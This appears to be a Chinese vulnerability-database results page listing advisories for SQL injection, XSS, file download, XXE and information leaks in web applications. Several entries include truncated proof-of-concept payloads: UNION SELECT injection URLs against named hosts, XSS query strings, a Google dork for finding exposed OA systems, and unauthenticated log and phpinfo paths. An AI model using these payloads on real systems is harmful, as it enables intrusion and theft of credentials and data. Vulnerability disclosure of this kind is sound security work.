56796 matches found
用友FE协作办公平台5.5 /common/treeXml.jsp 文件 code 参数SQL注入漏洞
No description provided by source...
福建四创灾害预警系统(strongsoft) /warn/OuterWarnModEdit.aspx 文件 adcd 参数SQL注入漏洞
No description provided by source...
joomla! 组件GoogleSearch (CSE) V3.0.2 参数q XSS漏洞
No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import re class TestPOCPOCBase: vulID = '1' ssvid version = '1.0' author = 'kikay' vulDate = '2015-08-29' createDate =...
Powered by BIC online SQL Injection
/newsdetail.php?id=-4%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,version,18--%20-...
省级农机购置补贴信息管理系统 chakanfendang.aspx 参数areacode SQL注入漏洞
No description provided by source...
ecmall2.x修改任意管理员和用户密码
No description provided by source...
TRS init_sysUsers.xml 信息泄漏漏洞
No description provided by source...
泛微E-mobile /calendar_page.php 文件 detailid 参数 SQL注入漏洞
No description provided by source...
省级农机购置补贴信息管理系统 gongs.aspx SQL注入漏洞
No description provided by source...
ATCOMINK Shop Cross Site Scripting
Payload = "PersianHack Team /webboard/show.php?Category=thaitestonline&No=121%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team.VpgF8SiDHIU...
杰奇小说连载系统(JieqiCMS) V1.7 /modules/article/packdown.php 文件 cid 参数任意文件下载漏洞
No description provided by source...
Power by NETDOIT Cross Site Scripting
/newsdetail.php?id=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28/xss/%29%3c%2fScRiPt%3e...
用友致远A6协同系统 /yyoa/HJ/iSignatureHtmlServer.jsp 文件 SQL注入漏洞
No description provided by source...
shopnc o2o版 3处 SQL注入漏洞
No description provided by source...
YXcms建站系统 showkbxx.asp 参数id SQL注入漏洞
No description provided by source...
shopnc o2o版 index.php?act=payment&op=notify SQL注入漏洞
No description provided by source...
方维O2O商业系统 /app/Lib/biz/ajaxModule.class.php SQL 注入漏洞
No description provided by source...
CSCMS在app/controllers/api/count.php中存在sql注入
No description provided by source...
YouYaX_V5.47 YouYa.php param 参数 SQL 注入
问题出现在ORG/YouYa.php文件中。 第356行： public function find$table, $ext = "string", $param //在 param 中寻找与给定的正则表达式 pattern 所匹配的子串 if pregmatchall"/=/", $param, $tmp $sql = "select from " . $table . " where " . $param; //echo 'x'.$sql; else $param = "id=$param"; $sql = "select from " . $table . " where "...
PHPCMS后台CSRF
No description provided by source...
启莱OA系统/client/checkuser.aspx SQL 注入
No description provided by source...
Bo-blog 2.1.1 xmlrpc.php 上传漏洞
No description provided by source...
ZDSoft教育信息发布系统 /cnet/servlet/servletupload 任意文件下载漏洞
No description provided by source...
kingdee live800在线客服系统SQL注射漏洞
0x01 漏洞概述 相关厂商： live800.com 漏洞时间： 2015-10-18 loginAction.jsp SQL注射漏洞，可看客户与客服对话内容，泄露大量敏感信息。 0x02 漏洞细节 在loginAction.jsp中发现以下内容： String loginName=request.getParameter"loginName"; String password=request.getParameter"password"; String loginServerUrl = request.getParameter"loginServerUrl"; OperatorInf...
用友U8-OA系统/yyoa/ext/https/getSessionList.jsp文件敏感信息泄漏漏洞
No description provided by source...
大汉 jcms m_5_7/replace/export.jsp 任意文件下载漏洞
No description provided by source...
Wordpress Tubepress 插件 v2.0 popup.php 参数 name XSS 漏洞
No description provided by source...
用友FE协作办公系统 system/config/groupTreeXml.js 文件 SG04 参数SQL注入漏洞
No description provided by source...
U-Mail V9.8.57 /fast/default/operates.php 任意用户登录及注入漏洞
No description provided by source...
用友人力资源管理 country 和 language 字段任意文件下载漏洞
No description provided by source...
Joomla Spider FAQ Component index.php 参数theme SQL注入漏洞
No description provided by source...
帝友P2P前台lates/index.html SQL注入
No description provided by source...
Commentator WordPress Plugin 2.5.2 XSS Vulnerability
No description provided by source...
Apache SOLR 未授权访问
No description provided by source...
双杨OA系统 /DSOA_TY/goods/GoodsAdd.aspx SQL注入漏洞
双杨OA系统/DSOATY/goods/GoodsAdd.aspx SQL注入漏洞 注入参数 goodsid http://xinhuachongming.com.cn/DSOATY/goods/GoodsAdd.aspx?goodsid=1%20and%201=user&flag=2 http://xinhuachongming.com.cn/DSOATY/goods/GoodsAdd.aspx?goodsid=1%20and%201=@@SERVERNAME&flag=2...
用友FE协同办公系统 V6.0 showphoto.xf?photoid 参数盲注漏洞
No description provided by source...
用友oa getSessionList.jsp信息泄露
https://g.jiuminghu.com/newwindow=1&q=intitle:%E3%80%8A%E7%94%A8%E5%8F%8BU8-OA%E3%80%8B&btnK=+%E6%90%9C%E7%B4%A2 intitle:《用友U8-OA》 谷歌搜索即可搜出来大量案例 漏洞存在于：http://www.example.com/yyoa/ext/https/getSessionList.jsp?cmd=getAll 该漏洞允许攻击者获取所有用户的用户名和密码MD5值...
用友GRP系统sql 注入漏洞
用友GRP系统sql注射 /R9iPortal/cm/cminfocontent.jsp 参数 infoid http://221.2.68.102:8888/R9iPortal/cm/cminfocontent.jsp?infoid=-8431%20UNION%20ALL%20SELECT%2067,67,user,67,67,67,67,67,67,67,67,67,67,67--...
冰峰VPN /log/system.log 敏感信息泄漏漏洞
由于“ICEFLOW VPN Router”设备产品存在各种日志文件未授权访问可导致系统敏感信息泄漏。（包括登录成功后的session值） 系统日志http://url/log/system.log VPN日志http://url/log/vpn.log 移动用户日志http://url/log/mobile.log 防火墙日志http://url/log/firewall.log 访问日志http://url/log/access.log 告警日志http://url/log/warn.log 错误日志http://url/log/error.log...
jcms /interface/user/out_userinfo.jsp 文件 xmlinfo 参数敏感信息泄漏漏洞
No description provided by source...
Libsys图书管理系统 ajax_libsys_view.php 信息泄漏漏洞
No description provided by source...
大汉网络政府办公系统 /lm/front/reg_2.jsp 文件 sysid 参数本地文件包含漏洞
No description provided by source...
中软政务系统Technological.aspx 参数id SQL注入漏洞
SQL Injection: /ExtendForm/Down/Technological.aspx?id=1 不过使用的数据库功能有限，没有什么核心内容。...
Joomla 组件EQ Event Calendar 参数id SQL注入漏洞
No description provided by source...
天融信网络卫士安全审计系统/policy/kw/delkeywd.php文件kwtypenameSQL注入漏洞
No description provided by source...
TRS WCM common/pre.as 参数_url文件包含漏洞
No description provided by source...
泛微OA系统日志泄露漏洞
No description provided by source...
用友某软件存在通用XXE漏洞
简要描述： 详细说明： 1.民生证券 http://.../uapws/ 抓包 POST /uapws/soapFormat.ajax HTTP/1.1 Host: ... User-Agent: Mozilla/5.0 Windows NT 6.1; rv:43.0 Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3...
CSDJCMS V4 reg.php 参数username SQL注入漏洞
漏洞文件app/controllers/user/reg.php public function check $username = $this-security-xssclean$this-input-getpost'username', TRUE; //username $sqlu="SELECT csid FROM ".CSSqlPrefix."user where csname='".$username."'"; $row=$this-CsdjDB-getall$sqlu; if!$row echo 'no'; else echo 'ok';...
Shopex V4.8.4-4.8.5 svinfo.php 文件信息泄露漏洞
0x01 框架简述 Shopex是国内市场占有率最高的网店软件，基于免费开源但却性能卓越的Lamp（Linux+Apache+Mysql+Php）架构，最大程度降低您的总体拥有成本。 中文名：商派 外文名：Shopex 服务商：上海派浓网络科技有限公司 官方主页：http://www.shopex.cn/ 0x02 漏洞细节 如果install目录没删，下面这个可以看phpinfo http://www.xx.com/install/svinfo.php?phpinfo=true 两个实例： http://www.5fa.cc/install/svinfo.php?phpinfo=tru...